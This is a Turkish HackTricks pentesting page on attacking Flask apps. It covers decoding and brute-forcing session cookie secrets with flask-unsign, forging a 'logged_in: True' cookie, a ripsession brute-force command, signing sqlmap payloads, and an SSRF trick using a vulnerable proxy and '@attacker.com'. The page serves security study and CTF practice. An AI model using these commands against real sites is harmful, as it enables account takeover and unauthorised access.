Flask

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI** ile ilgili olacaktır.**

Cookies

Varsayılan çerez oturum adı session.

Decoder

Çevrimiçi Flask çerezleri çözücü: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile çözün.

bash
echo "ImhlbGxvIg" | base64 -d

Çerez ayrıca bir şifre kullanılarak imzalanmıştır.

Flask-Unsign

Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.

https://pypi.org/project/flask-unsign/

bash
pip3 install flask-unsign

Çerezleri Çöz

bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

İmza

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Eski sürümleri kullanarak imzalama

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerini brute-force yapmak için komut satırı aracı.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Flask oturum çerezinde SQLi ve SQLmap

Bu örnek, bilinen bir gizli anahtar kullanarak Flask için sqlmap yüklerini otomatik olarak imzalamak üzere sqlmap eval seçeneğini kullanır.

Flask Proxy ile SSRF

Bu yazıda, Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

Aşağıdaki senaryoda:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Şeytanın bir SSRF oluşturmasına neden olmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin